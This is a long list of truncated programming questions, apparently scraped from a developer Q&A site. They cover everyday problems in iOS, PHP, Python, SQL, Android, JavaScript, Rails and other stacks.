I just got my hard drive replaced because of a problem a week ago. But not when I run any of the programs I have written in Xcode on a real device it throws EXC_BAD_ACCESS on this line of code: BOOL rb_status = [_context renderbufferStorage:GL_RENDERBUFFER fromDrawable:layer]; The simulators ...
I'm relatively new to this so please bare with me. I would like to create a UITextField that when touched will activate the UIDatePicker in an ActionSheet manner. While there are some resources out there, it doesn't show how to format the date in this manner. The code below is the best i've loca...
Anyone have suggestions for object animations that can show text on hover or click? Looking for something like this on: Trying to make these crystals into objects to be interactive. Sample mockup website here.
Suppose we had a basic moving average function that was keeping track of the sum. For example: Queue values; double sum; double CalcSMA(double next) { values.push(next); sum -= values.pop(); sum += next; return sum / SMA_LENGTH; } One example of how this could break down would...
Hey i need to get information from a database and display it on my index.php. <html> <body> <?php $connection = mysql_connect('localhost', 'root', ''); //The Blank string is the password mysql_select_db('users'); $query = "SELECT * FROM employee"; //You don't need a ; like you do in SQL $result...
I have two numpy arrays import numpy as np x = np.linspace(1e10, 1e12, num=50) # 50 values y = np.linspace(1e5, 1e7, num=50) # 50 values x.shape # output is (50,) y.shape # output is (50,) I would like to create a function which returns an array shaped (50,50) such that the first x value x0 ...
Sometime when I'm testing my app, an exception is throw without any chance to track the problem. This project is too big to just put all the code here, and, since this exception wont point me to where the problem has happened, I don't know which part of my code I could follow in order to get for...
I am trying to convert a directory full of .txt files to .xls using VBA. I am using the following code: Sub CSVconvertXLS() 'Variables Dim wb As Workbook Dim strFile As String Dim strDir As String 'Directories strDir = "\\vrisi01\users$\ckapitzky\windows\Desktop\Te...
I'm on Ubuntu. $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 14.04.2 LTS Release: 14.04 Codename: trusty I installed Emscripten. $ sudo apt-get install emscripten I wrote the following C++ program: #include <iostream> int mai...
I want to write a type trait which uses SFINAE to check a type for the existence of a subscript expression. My initial attempt below seems to work when the subscript expression is possible but does not work when the bracket operator does not exist. #include <iostream> #include <vector> #include <...
I have three table Table start (Id, acctId, detailId) Table detail (Id, name) Table items (Id, detailId, desc) Table A has one to one relation with detail table and detail table has one to many relation with items. I am trying to write a lambda or linq query so for a given acctId i get name ...
I am trying to display a 360 panorama using an IMU for head tracking. Yaw works correctly but the roll and pitch are reverse. I am receiving (W, X, Y, Z) coordinate from the IMU that I am storing in an array as X, Y, Z, W. The next step is converting the quaternion to a rotation matrix. I have ...
How can I install php on my server and use it for my websites? I am on nginx btw and not apache so its not default. I installed mysql and php using apt-get on ubuntu. Also can I use php and node.js on the same website? I do not know where to start and don't have code to post. thanks
I want to know if I can modify a form property one time and have it apply to all forms (design-time). I have 25 forms in my c# project. I need to change their size, all to the same value. It takes a long time to change their size one by one. Thus, I am looking for a way to change the sizes one ...
I would like to recreate something similar to the following examples: http://bl.ocks.org/mbostock/3888852 http://bl.ocks.org/mbostock/1305111 The only difference is that I want to control the radius of each donut, rather than having it be the same for all of them. How do I dynamically vary th...
I'm creating a directory website of local businesses in a geographical area. The hope is that if you search for something like "plumbers in New York City" then you'll see a link to the domain that will show all plumber records in a 10 mile radius from NYC. Let's say I have routes set up like thi...
Hayhoo everyone ~(°-c° ~) So I just installed Eclipse on my new PC (using Mint 17.1) and run into this error with almost every Project so far. The problem is that when I want to launch my project I get the error: "Launch Failed. Binary not found." I already tried to Build the project but then ...
Why would someone use weights 2:4 instead of weights 1:2? I am looking through a Udacity course layout. It's a LinearLayout with two children views. and the children are given weights 2 and 4 respectively as opposed to 1 and 2. Why is that?
I'm trying to create a dropdown menu, which has ben going well so far. I just came across 1 problem. When i'm not hovering on on the menu title, the dropdown disappears and so do the hover effect on the menu. my code might seem very messy, and a bit complicated. I apologize. JSFIDDLE: https://...
I recently began using two-factor authentication on GitHub, and I am now unable to use git over https on private repos in the usual way: peter@computer:~$ git clone https://github.com/[...]/MyPrivateRepo Cloning into 'MyPrivateRepo'... Username for 'https://github.com': [...] Password for 'https...
I am looking for a JQuery solution to automatically scroll to the first anchor point on a page on only the first scroll action. The opening of the website is a full screen video with a down arrow letting the user know they can scroll down for more sections. If the user uses the scroll wheel, I ...
I am having issues converting this spatialpolygondataframe to a raster. When I do ther conversion, the raster has NA as its values. As shown below: LFRP<-as.vector((h5read(x,"FRP"))/10) SPP<-SpatialPolygonsDataFrame(polys2,data.frame(LFRP)) SPP [1] class : SpatialPolygonsDataFrame featu...
I'm trying to use a segmented control change through multiple views inside a container view. I'm not sure how to embed multiple views inside the container view. I saw a tutorial how to do it in Objective-C, but I am coding in Swift. Is there a way to embed multiple views inside a container view ...
hello i'm trying to send an image using c# but the image not delivered and there is no exception message !!! here's my code byte[] img = File.ReadAllBytes("e:\\img.gif"); wa.OnConnectSuccess += () => { MessageBox.Show("Connected to whatsapp..."); wa.OnLoginSuccess += (...
I am trying print the contents of a text file using below code,the text file will only contain one line,my current output is as below which is a list with "\r\n" at the end,I want to the output to be as shown in "EXPECTED OUTPUT" ? branch_textfile = branch + '.txt' with open(branch_textfile, '...
I am trying a test program to implement neural network which approximates sine curve via back propagation. I am using C for coding and all components of the neural net are implemented by array. However, all outputs of neural net are positive value, even if the learning has finished. I am not...
I was wondering...if a Blender file contains many animations, how will the three.js library know which animation you want to open on the browser? Because since the THREE.AnimationHandler.add() was deprecated, you should use the THREE.Animation (mesh, geometry.animation) function, which does not r...
I'm following these instructions for creating flavors and Android Studio keeps complaining that it can't find /path/to/my/project/app/src/main instead of main as per the directions I have a folder called portrait and a folder called landscape in other words /path/to/my/project/app/src/portr...
I have a SQL table that has timestamped records for server performance data. This data is polled and stored every 1 minute for multiple servers. I want to keep data for a large period of time but reduce the number records for data older than six months. For example, I have some old records lik...
I'm using these precompiled binaries of pyaudio with WASAPI support. I want to play a wav file via WASAPI. I found index of default output device for this api: import pyaudio p = pyaudio.PyAudio() print p.get_host_api_info_by_index(3) >>{'index': 3, 'name': u'Windows WASAPI', 'defaultOutputDev...
| SITE | Morning | Afternoon | Evening | Night | | Long 144 - Lat 18 | 100 | 150 | 10 | 5 | | Long 161 - Lat 122 | 100 | | | 5 | | Long 100 - Lat 134 | 100 | | 5 | | | Long 190 - Lat 14 | | 150...
I have two models, Tags and Photos, that have a many-to-many-relationship like so: tag_identifier = db.Table('tag_identifier', db.Column('photo_id', db.Integer, db.ForeignKey('photo.id')), db.Column('tag_id', db.Integer, db.ForeignKey('tag.id')...
i wondered if it is possible using sed to match the longest string NOT containing a substring. regarding the following snippet echo "blabla/a/b/dee/per" | sed -r -e 's:([^/a]*):\1:g' i am trying to print out the longest match containing any sign indicated by * but not including the substring ...
I'm trying to record the keystrokes when ever i perform some key events like left,right,move,press,release etc.Initially when i wrote the code and compiled it i was able to record the key strokes.However,When i compiled after a little bit of code indentation it is showing the following statement ...
I am developing an azure asp.net web api 2 ,and in my api i am trying to read a dataset ,however i couldnt get my dataset.csv path.I connect to ftp server and i found the rout is : ..../site/wwwroot/dataset.csv this , I tried this string path = "/site/wwwroot/dataset.csv"; and also this str...
I'm trying to make an android project that will dial a fixed number. It is working when I'm using normal number like 01712364445 or something like that. But when I'm using this number *566# it is dialing to *567 that is # is missing.how to solve this ? My code is here... gp = (Button) findV...
When I attempt to make a call to this Rest API, it will return "Unauthorized". I have tried various ways of authenticating with it, but none have worked. I have already confirmed that the credentials and URL are correct. Is there another way that I should be passing the credentials? Sample code ...
I am new to rails . I have a view(retrievenames.haml) which receives the user input(form) and on click of submit a controller action is invoked. The controller action reads the input from the user and performs an API query and retrieves some information (say list of names). I want the retrieved l...
I am a bit of a newbie at this jQuery/java stuff. I have trawled a lot of hint pages on here and other sites and most of my code works but I have an issue I have not been able to overcome so far. What I want is a cascading series of select elements that change the values available in following s...
I've been using a script to pull data from a Google Spreadsheet and use that info to populate a Google Calendar. It works for the most part, but is very unstable: sometimes it does not work, and most times it generates an error, even if it does work. One error I get a lot is "Cannot find method...
Im trying to send files to my server using Jquery File Uploader, I have the $_FILES array but not the $_POST array: Input Form <form id="upload" method="post" action="playerstats/validate_upload" enctype="multipart/form-data"> <input type="file" name="uploadctl" multiple /> <ul id="fileList">...
I am having problem in asp.net code, I am trying to generate dynamic report using check-boxes. I used stored procedure for that, my query is working fine but the problem is with check-boxes. It only displays report when i check all check-boxes!, otherwise it gives error. I have tried a lot but st...
What's the proper way of installing alembic on OSX? I tried brew install alembic and it starts fine but after a while it finishes halfway printing these: ==> cmake . -DCMAKE_C_FLAGS_RELEASE= -DCMAKE_CXX_FLAGS_RELEASE= -DCMAKE_INSTALL_PREFIX=/usr/local/Cellar/al -- Skipping Arnold plugins -- Ski...
While working on a Node.JS API (proxied by NGINX), the webserver proxy randomly returns the default NGINX 400 bad request error page. By random I mean it will go through and work fine but then the exact same request could fail randomly and give 400 bad request. The error logs show [error] 20893...
I have a very simple Shiny. For some reason I get the errors Error in formatNoSci(value) : argument "value" is missing, with no default and Error in force(ui) : object 'ui' not found. I've googled these errors and can't find anything. I can deduce that the ui isn't getting built for some reas...
Here is what I get: { "data": [ { "name": "company name", "id": "123456789123456" } ], "paging": { "cursors": { "before": "MAZDZD", "after": "MAZDZD" } } } How do I get the id? I have tried $content->data[0]->id but no luck ($content is the json array)
I am receiving an array in route data containing different string values. Since I don't know how many string values I am going to receive, I cant have a definite Where function. Hence I am looping through the array and making multiple calls to DB set, fetching the result and adding it into anothe...
I use C++ with RTTI. I have a type_info of a class. How can I tell whether another class is a subclass of the first one, if I only have the type_info? #include <typeinfo> class Foo { public: virtual ~Foo() {} }; class Boo: public Foo { public: virtual ~Boo() {} }; class Bar ...
I'm trying to implement html5 manifest functionality inside an mvc application ... I've used the following link as a starting point: html5 cache-manifest file in mvc3 and windows azure returns 500 error However, unlike him I'm getting the error event"Failed to parse manifest" when deploying loca...
I am fairly new to MVC and any help would be appreciated! I have an Event model class and an Address model class. I am trying to add an address from the View and link it to an Event. Not sure what I need to do in the Controller and the View. I know I need to use a partial view but my issue is w...
Question: Is there a way to dynamically set the "src" attribute on an XML "bitmap" in an Android XML file? I have a custom XML drawable named "repeat_background.xml" defined as such: <?xml version="1.0" encoding="utf-8"?> <bitmap xmlns:android="http://schemas.android.com/apk/res/android" a...
Not really a specific programming question, and I had a hard time determining if this is an appropriate question to ask here, so if it's not I sincerely apologize. I'm just looking to hear some opinions and I figured this would be the best place to ask considering most of you here probably have e...
I have an access database that users are connecting to with excel files. I have way of managing people who are logged on using Access. However, I do not have a way to manage people who are connected to the database using excel. It is my front in so I am not worried about the Data I just want ...
I have problem in my project, i am trying to create chat box. but every time i'm getting same error: undefined local variable or method `user' in my conversation.rb . i don't know were i went wrong. The error which i receive in my web page is: NameError in ConversationsController#show undef...
I am trying to make an application for the Android platform. So far I have two activities. Both have fragments. The first activity at the moment is using the Facebook api so that users can sign in. I want my first activity to switch to the second activity once the login is complete. I tried using...
Here is my HTML code. How do I set a image in the center of all screens? <html> <head> <title>Hub</title> <link rel="stylesheet" href="hub.css"> </head> <body> <div id="button1"> <img border="0" alt="Home" src="images/buttons/home.png" width="100" height="100"> </div> </body>...
I want to sort a list of employees based on names , list of student based on their total marks if their total marks are equal then I have to give preference to their names, In order to implement this functionality I have written a sort strategy in xsd. Is there any possible method through which ...
Is there a way to automatically zip certain files at the build time with Node.js and npm? For example, I have a project, that file structure looks like this: Project/ --lib/ --node_modules/ --test/ --index.js --package.json I want to be able to zip lib folder, some certain modules from node_m...
I recently started learning HTML and decided I'd put together a basic website as I think it's a very useful skill to have. At the moment my entire website is one HTML file and one image. I had the thought of hosting the website on Dropbox in the public directory which worked out great in the beg...
I am using NSExpression to solve strings from user input. Here is the code var userInput = "5+" var solveUserInput = NSExpression(format: "\(userInput)") It will crash my program because it can't solve it, but what I want to do is to return nil if the string is unsolvable by NSExpression. Is ...
I'm a newbie to developing to alfresco so here is my question. I'm developing a custom action in alfresco wich goal is to create a detached Secure Time Stamp of a document. Here's my code: String tsaUrl = "http://ts.cartaodecidadao.pt/tsa/server"; OutputStream out = null; HttpURLConn...
There has to be a way to get my scroll to top button to treat the top of the #footer container as soon as a site user has scrolled down far enough so that the footer appears on screen, right? Right now it wants to just stay fixed in the lower left corner of the screen - which makes sense but the...
In my serializers.py file , i had almost same code for every serializer so instead of hard coding . i have did like this def class_factory(classname, model_name): class ModelSerializer(BaseSerializer): class Meta: model = model_name for m in list_models: globals(...
I am having a problem were I have a controller in my app which I use like <div ng-controller='LogbookEditCtrl'> </div> and this controller has a $element provider in it which I need to modify the element. describe('LogbookEditCtrl', function(){ 'use strict'; beforeEach(module('logbooks.edit...
I have a specific question pertaining to how I can work remotely using my Mac. The group I work for requires you to go through a "login" portal (a machine that you have to ssh to before accessing any other of the group's machines). The address for that is, say, myname@login.group.edu. I then ss...
I would like to understand the direction for blueprint on jboss fuse. Since it appears to be the default dependency injection framework for fuse I would like to know if any improvements are planned? Other DI frameworks are using less and less xml for configuration and using java for configura...
How do I raise the contents closer to the head? The Left column should be closer to the dancing baby. The main area (starts with About Us) should be closer to the menu Fun Fun Fun. Don't worry about the white space above the menu... I have plans for that area. AND... can the answer help wi...
My problem is that, when network condition is very bad, html5 video would start buffering before it drains the buffer, which means there's always something left in the buffer, which make 'readyState' always 4 which means HAVE_ENOUGHT_DATA even thought the video is already stuck.
I am developing two apps in swift which should communicate with another iPhone device and waiting for their response over Global. I am using remote push notification and it's working fine, but its not receiving notification while the app in foreground state and has some push notification related...
In this code, I have a series of function. In my main function, where it shows the algorithm of the loop that is supposed to happen, it seems that it only goes through it once, and then stops. I'm writing this for my simon says game. Here is part of my main algorithm which contains the OnTapList...
I am trying to get my regex string right but I don't seem to get it working as it should. I have a numeric field that should have 5 digits. The digits can start only with 04xxx and 5xxxx This string is not covering it completly: /[05][0-9][0-9][0-9][0-9]/ it forces to start with 0 or 5 fo...
answr = input(" Convert to celsius or fahrenheit?") if answr == "fahrenheit": print ( "fahrenheit" ) else: print ('celsius') celsius = int(input("Temperature =")) fahrenheit = int(input("Temperature =") fahr = float(input("fahrenheit" * 1.8 + 32)) cels = int(input('celsius' - 32) * 1.8) ...
I have an Input Method with a panel of gifs (GifMovieViews). I currently have an Intent that selects the app that is currently open and a panel comes up to select the conversation. I would like to be able to insert the image into the open conversation instead of it asking them to choose one. Cur...
We have a table in BigQuery which has one row: But when we run a query using the command line tool (bq query...), it returns 2 rows, and they are identical: Why are we getting different results?
Hoping someone with a bit more knowledge of java than I have can shed some light here. I have a Sonatype Nexus setup which I have inherited and it is consuming a large amount of memory in a very short amount of time. In fact after restarting the service, used memory went from 963MB to 6448MB in ...
I have two data frames. Want to match the contents of df1$v1 and df2$v2 where they match, replace corresponding df2$v2 content with df1v2 content. df1 v1 v2 1 a1 2 a2 3 a3 df2 v1 v2 v3 v4 c1 1 c3 c4 d1 2 d3 d4 e1 3 e3 e4 Looking for this final output. df2 v1 v2 v3 v4 ...
I'm developing an app that will use Google Adsense or DFP as a method of monetisation. I've tried searching for some reliable info but I can't find any. How do I run a development environment with Adsense/DFP so that ads will show, but not create revenue in our account? Obviously if I just put t...
i migrated my cloud server, and after install all lamp stuff and clone my repository my php just does not recognizes the 'parent' constant. My log says. [Wed Jul 08 21:29:28 2015] [error] [client 186.223.169.223] PHP Notice: Use of undefined constant parent - assumed 'parent' in /home/dev/x...
Does it download the data when you call the snapshot or when you use it for something? For example, would the code below just download the data from "pushedItem3" or would it download all of the data? example data: List-1: { pushedItem1: {data}, pushedItem2: {data}, pushedItem3: {d...
I am working on java web application. I want to create a mysql database in my localhost and I want it to be accessed by my another teammate who will be working in the same project in the local host. I want database changes by both users to be reflected in the database dynamically. Please help...
Right now, in my build.sbt I have a libraryDependencies that has something like "some.package" %% "package-name" % "[1.4.2, 1.5[" as one of its elements. Now let's say version 1.4.6 introduces some bug that's fixed in 1.4.7. How can I rewrite my dependency string to include all versions from ...
I'm completely new to Python and I am struggling to run a piece of code. I've put the code into IDLE and ran it but it returned nothing. Below I have attached the code and also the results that should accompany it. I am just wondering how you can get from the code to the results. Hopefully it is ...
I have two applications. The first one is an asp.net mvc api, this application contains the users with local login/register and only facebook login. The second one is a windows universal app. On windows universal app I want to make the local login/register and facebook. I've been looking for som...
class Flower { private: string name; string color; double pricePerUnit; bool perfumed; bool onSale; }; class Bouqet{ private: int count; int size; Flower *flower; public: Bouqet& operator+=(const Bouqet& rhs); }; int main() { Bouquet b1; ...
I have install some software and after that I wasn't able to open my VS2013 Community, the error I get: Missing one or more Components Please Reinstall The Application I have seen a lot of people with same error message but all have different reason for it and none helped me, I try to Repa...
In Outlook, I'd like a VBA script that will loop through all of the appointments in a day and total the hours by category.
I am studying the html5 audio API. I have noticed the analysis module has problems processing high frequencies. It is as if there is a build in filter in it. For example, if I emitting a 20Khz tone and plot the outcome of getFloatFrequencyData I see the following spectrum: However, if I use Aud...
My code is: import UIKit class ViewController: UIViewController { @IBOutlet weak var answer: UILabel! @IBOutlet weak var minNum: UITextField! @IBOutlet weak var maxNum: UITextField! let min = minNum.text.toInt() I'm getting the error: ViewController.Type does not have a member named 'minNum...
I'm using an sqlite database for my Java application and I have a varchar column with a bunch user stats that is written, read, and parsed by my Java program. What I want to do is have an SQL query that can sort the rows by the last stat in the column. The stats are separated by commas and their ...
I have a dataset which has spatial objects (the red blobs in the picture below) that cover a number pixels or grid points - but has irregular shapes. I have another dataset which consists of points with 2D coordinates and I want to know whether each point in this dataset is within a certain dista...
This should have been simple. I want to insert a simple JS modal into my Bootstrap 3 page here: http://www.redfuryrevenge.com/index2.html. I literally copy and pasted it from the Bootstrap page as follows: <button type="button" class="btn btn-primary btn-lg" data-toggle="modal" data-target="#m...
I am new to raspberry pie and coding in general, and I would like to know how I would go alone to get input from the gyroscope (kootek gy-521mpu-6050 mph-605 modul3 access analog gyrocencers) that I would later be able to use and manipulate. Thank you very much for the help.
First time happend this to me , i created a subdomain example.domain.com and a link to style.css cant be loaded. All files are there when i try to open file with URL it show me 404 not found. But on domain.com/example it work and css and images ? I searched alot on internet but i didnt find not...
E.g. neural networks take a while to "start up", and with big enough datasets, that could be weeks or months of wasted time, and my idea is to provide a better starting point, that is closer to coherence, based on a simple markov-chain-based model to reduce said amount of time. I tried googling ...
I am passing an anonymous type into a dynamic partial view as part of the @model, and one of the properties is a string that contains some HTML. When I use the HtmlHelper methods to render the property, the Razor engine is encoding the string, resulting in literal text on the page - <i>text</i> i...
I've got 2 text inputs, 'First_Name' And 'Last_Name'. I have a 3rd text box that I want to display the whole name, i.e. 'First_Name Last Name'. So far I've worked out how to copy text from one box to another - <script> $('#TextBox1').blur(function() { var sourceElement = document.getElem...
I have a file that I want to match that looks like the following: ... new VideoInfo(6, VideoType.Flash, 270, false, AudioType.Mp3, 64, AdaptiveType.None), new VideoInfo(13, VideoType.Mobile, 0, false, AudioType.Aac, 0, AdaptiveType.None), new VideoInfo(17, VideoType.Mobile, 144, false, AudioType...
I have an array and I have loaded it with 25 random numbers that range from 0 to 1,000. I have a button to fill the array and a button to sort the array. I have to sort the array from smallest to largest number using bubble sort code. I missed class and I don't know how to do it. Here is what I...
I have this annoying problem and I get the feeling it's because we can't use defaults for Backbone Views as we would with Backbone Models. My goal was to use defaults with a Backbone View and then override them with options passed to the initialize function as desired. The problem that I am havin...
I'm using Cordova/ionic to create an app where the user can set a timer and the alarm will run when it's time, I'm using this plugin cordova-plugin-wakeuptimer to fire the alarm, it's working fine I can see that the alarm is fired and redirected to the app, in the successCallback function I try t...
sorry for the repeated question. I already asked for help about this by the use of ORACLE database. But now I really wanted to know how can I split this using MySQL database It is possible to split field values using a specific character? Here is my sample table value 10uF 2K 1.0uF 200UF I wa...
This question has been asked before, but enough time has passed since the last that Azure's probably changed in some way to invalidate previous answers, so: I've set a SQL database and a SendGrid account on Azure - the foundations of my account registration system. What happens: Users ente...
I will have my data stored in MongoDb and have multiple collections (equivalent of tables) in the db. Each collection is namespaced and has a whole lot of documents in there. We need to have a fast lookup of our data and hence don't want to query the db each time. My webapp is spring based. On ...
Here's the code I've written: public class program8 { public static void main(String [] args ){ int myguess; Scanner myscanner = new Scanner (System.in); System.out.println("Welcome to the program that will determine your fate, Star Lord"); System.out.print("Do you guess even (enter a 1) or...
I'm trying to add multiple bar button items to each side of a custom nav bar. I'm using the following method but nothing shows up. There are a few threads on this in Obj-C but I'm struggling to translate the syntax. Is there a workaround for this in Swift? @IBOutlet weak var navBar: UINavigation...
I am writing a small powershell function to change executable icons, I'm kind of stuck. I have the icon extraction working but I can't see to be able to get WinAPI's UpdateResource working properly in powershell. The extraction code: Function Extract-Icon([string]$OriginalItem, [string]$Destina...
ajuda connect_error){ die("Falhou a ligação: ".$conn->connect_error); } $sql="SELECT cod_atleta, nome, peso, idade, data_inscricao FROM informaçâo"; $result=$conn->query($sql); if($result->num_rows>0){ while($row=$result->fetch_assoc()){ echo "Cod_atleta...
I've been pulling my hairs apart to work out how to achieve the below. I've created a SQL fiddle with the table structures & data at http://sqlfiddle.com/#!9/56e8d8/2/0 With reference to the fiddle, I'd like the table MASTER_ALL to look as below +-------------+-------------+-------------+----...
Say If I have Table which contains Single Column of XML datype Eg: Details(Column Name in Table) <emp>--column1 <Name>Alice</name> <ID>1</ID> </emp> <emp>--column2 <Name>Bob</name> <ID>2</ID> </emp> Now I need to read this column from the table and i...
We have below shell scripts , could you please help to write the batch script for the same ? echo "${APP_HOME}/ggsci << EOF info all exit EOF | while read line; do set -A str echo $line case $line in PROC1) set -A str $line if [[ ${str[1] = ERRORED || ${str[1]} = STOPPED ]]...
I've been busy trying to fix my website and for it to be responsive. I found this problem which I cannot find the solution to! link to page : http://eduweb.hhs.nl/~14042568/8020/index.html#contact The textarea is not the same width as the inputs above it, why not? i set the width in vw and just h...
I am trying to learn "How to Read API Documentation within Rails". One specific function that gives me a great deal of trouble is link_to function. URL: http://apidock.com/rails/v4.0.2/ActionView/Helpers/UrlHelper/link_to The current documentation details the following 1. link_to(body, url, ht...
To better use Dev Tools to debug my render process and utilize debugger call to initiate an adhoc breakpoint within the start of code, I need to detect that the dev tools is ready to use before I start my business logic. Otherwise my code spins away past the code I am debugging by the time that D...
Platform: Couchbase Server 4.0 beta, Java client 2.1.3 I am looking for something similar to SQL JOIN. For example I have documents of the form where field2 is embedded in the document instead of in a separate table as you would have in a relational DB: {field1:" ..", field2:[{key:1, ...},{...
If I had a schema that looked something like this: var person = new Schema({ active: {type: Boolean}, otherSetting: {type: Boolean} }); Would it be possible with just one query to get the entire total count of all people, total people active, total people inactive, a...
So I had this query wherein say I have an enum and a struct that look like these, enum fields { field_1, field_2 }; struct my_struct { int field_1; int field_2; }; My specific need is, given the enum with the names of the structure members (field_1, field_2 etc) I should be able...
I'm having trouble finding my bids that are linked to specific posts via the index method. I have successfully linked my bids to posts (i.e. I have a post_id column within my bids table), but cannot seem to 'find' them. I currently get the error 'Couldn't find Bid with 'id'=' Bids controller: c...
I know I can use importlib to import modules via string. How can I recreate the import * functionality using this library? Basically, I want something like this: importlib.import_module('path.to.module', '*') My reasons for not name-spacing the imported attributes are deliberate.
I am trying to show a pleasewait popup in a Orchestra app the same way it is shown in Catel without Orchestra but im unable to do so. I know that the pleasewaitservice shows the progress and text in a status bar on the bottom of the window, but is does orchestra have something similar to what Cat...
I've made a list with in html. Im trying to display album covers of varying sizes all at 250x250px and have it scale down for mobile. My problem is when I use the code I have the images dont seem to scale down and break out of the div they're in. <ul id="gallery"> <li> <a href="...
I've done some looking into flags but I still don't really understand how I would attach them to and item/use them in general. My goal is to use flags to mark all the selected entries in a JList so that when a search is performed all showing selected items stay selected and when the search is cle...
I am trying to compare the two randomly generated lists, they need to compare the totals of the dice within the code and return the amount of duplicates of the number selected by the user. The user has a numeric up and down box to select the number between 1-12 and the program will return how man...
I have a script which I want to get data from an api every 30s. I am using the requests module however every loop seems to return the same data. See the below "sample code": import requests from something import dosomething http_proxy = "http://user:password@someproxy.com:8080" https_proxy = "...
I have the following classes: account has_many :orders has_many :payment_methods order has_one :payment payment belongs_to :order belongs_to :payment_method payment_method belongs_to :account has_many :payments Accounts have orders and payment methods. Payments are a join of an orde...
In essence, four questions are here for Golang interfaces, with each one slightly harder than the one before it. say we imported a lot of interfaces, A, B, C, ..., G import ( "A", "B", "C", // more ... "G" ) and we define a type S: type S struct { // more ... } ...
I have the following WiX excerpt which works perfectly during an install but doesn't during uninstall. I'm quite new to WiX so apologies if it's a glaring error. Can anyone see the problem? <Property Id="APPFOLDER" > <RegistrySearch Id="APPInstalledFolderReg" Root="HKL...
How can I extract Green channel alone from RGB image (bmp) ? I tried using ChannelExrtract (AForge) and analysed the data dimensions in Mathematica, its still 2592x1944x3; 3 representing its still not just a 2D array.
I have gone through similar questions on stackoverflow and other sites but could not find satisfactory answer.So I am asking new question with detailed requirements. We are building android application and need to communicate with application server. There will be handshake between application ...
I have a system I have been working that will let me take workorders from multiple companies (all different formats and layouts) and automatically generate standardized workorders in my google drive folder. I have the part of grabbing the emails and breaking them down taken care of in a google sh...
I have an app where you can create multiple projects. The current project is store in the session at the moment which cause some problems as you can't see two pages for different projects at the same time. resources :users resources :groups resources :templates resources :reports I have the fo...
CKEditor provides ability to display inline editor dynamically on click of textarea and set of toolbar buttons can be configured to show/hide but is it possible to show only frequently used buttons and hide rest of the buttons with "More” button/option because i want to provide full CKEditor tool...
So I've got a game I made in processing (processing.org). Its a fairly simple game where you move a character and dodge falling blocks. I have no objective-c knowledge, but how hard would it be for me to turn the game into an iOS game and publish it on the appstore?
particularly, very new in android, and dont know well to debug it. the issue is whenever i click refresh button nothing happens, instead it had to show the realdata, it keeps on displaying the fake data. logcat says that file does not exist, could not find errors here. here is my code main acti...
Trying to use this slider with angularJS https://github.com/seiyria/angular-bootstrap-slider I do have it working, though wanted to be able do a few custom items and in looking at the source doc file, and after too much time, I feel to need some direction. What I'm trying to do with the slide...
I have a text file (150GB) in size, with around 2.5 billion links I need to download. I am wondering if I wget this file, if wget puts the entire files contents in memory, and if it will potentially crash the machine. I am also interested to know on some best practices when downloading this amo...
I'm building a Laravel app and everything is working fine (as far as I can see) and now I would like to make the website public. However I can't figure out how to implement custom messages for bad/unauthorized request. I know I can put views in /resources/views/errors/ folder like: 404.blade.p...
I am experiencing the same issue as posted in a recent topic - 30702965 Accessing objects returned from a factory. In fact I have followed the advice in that response but still do not get any results in the view. As in that previous post I have created a factory: myapp.factory("eventsService", f...
How can I get the Recent Task Changes in Project Server 2013 from SQL Server to Excel report. I need to get the historical information from comments/notes, dateSubmitted, and dateApproved like in task update page. I have tried to browse through all tables in MS SQL Server (PWA Database). What I ...
i'm using swing to make a game in java and i need help with collision detection. I mainly use this method to separate rectangles that are colliding: public static Rectangle collideRR(Rectangle collisionbox,Rectangle testbox) { // L is a counter int L = 0; // collision box edge coord...
I am trying to figure out why SQL Server is returning 9.999999999999999e+004 when it's supposed to return 1.000000000000000e+005 from the following sql statement: select Convert( varchar(32), round(cast('123456' as Float), -5), 2 ) Ev...
I'm trying to get the Yeppp! vector math libraries working on my system (windows 7 with Codeblocks, GNU 4.9.2) in c++ (plain c fails as well). Using the basic 'entropy' example from the website http://docs.yeppp.info/c/_entropy_8c-example.html Codeblocks fails to compile and returns Entropy Ex...
I have been able to add additional fields to my django-registration-redux however I cannot seem to get the saving right. It currently gives me this error Environment: Request Method: POST Request URL: http://127.0.0.1:8000/accounts/register/ Django Version: 1.7 Python Version: 2.7.10 Installe...
I have created a script to give me the list of files in a folder directory. Yet, I am occasionally getting this error. What does this mean? portion of the error: Script failed due to an error: Traceback (most recent call last): File "<script>", line 12, in <module> File "C:\Program Files\N...
I'm making a website using angular and when the user hits '/' root i want to go the my www/index.html and render that page, and after that angular can take care of the rest. I just want my application to load that index.html before angular takes over. my question is how do i make my app initiali...
I'm using PrimeFaces 5.1. I need to get specify cell value in PrimeFaces p:dataTable using jquery. I tried the below code but no useful. <script> ... var dataTable=document.getElementById('#myForm:test'); var cellElement = dataTable.tBodies[0].rows[0].cells[0]; alert(cellElement) ... </script>...
All. I just setup Ubuntu 14.04 and installed QT5.4 using command below. (VMware) $ wget http://download.qt-project.org/development_releases/qt/5.4/5.4.0-rc/qt-opensource-linux-x86-5.4.0-rc.run $ chmod +x qt-opensource-linux-x86-5.4.0-rc.run $ ./qt-opensource-linux-x86-5.4.0-rc.run QtCreator cou...
Xcode gives me this message every-time I try running my app on my iPhone. (Works fine on the simulator.) (And this occurs in every project I have.) (I also just downloaded Xcode again.) This is the message I get. App Installation Failed. Unknown Error Occurred. How do I fix this error?
I have a .txt document with over 32,000 lines of commented machine code. It looks like this: Display menu window C0/000E: E220 SEP #$20 C0/0010: C210 REP #$10 C0/0012: 20640B JSR $0B64 C0/0015: 20750B JSR $0B75 C0/0018: C220 REP #$20 C0/001A: A900...
I'm using a doInBackground method to get a json from a web service so I can use it in my main activity here's what I did but it doesn't work public class JSONTransmitter extends AsyncTask<JSONObject, JSONObject, JSONObject> { @Override protected JSONObject doInBackground(JSONObject... data) { ...
When I try to instantiate an object from the URL class like this: URL myURL = new URL("http://example.com"); the compiler arise and error: error: constructor URL in class URL cannot be applied to given types; and points to the key work 'new' in the line above. The all class is: import j...
I'm making a SpriteKit based-app, and I have a spriteNode that shares to facebook when I tap it. This is the code that runs when it is tapped: func shareToFacebook(){ var shareToFacebook: SLComposeViewController = SLComposeViewController(forServiceType: SLServiceTypeFacebook) shareToFace...
How do I set an AUTO_INCREMENT default value and rate in MySQL? In other words, if I want to create a primary key that starts at 1000 and increases by 100, how do I do that in MySQL?
Trying: $("div.docs-right div.api-manager div[ng-model=page-api-examples]").length This breaks with: Uncaught Error: Syntax error, unrecognized expression: div.docs-right div.api-manager div[ng-model=page.api.examples] How do I select by ng-model=page-api-examples?
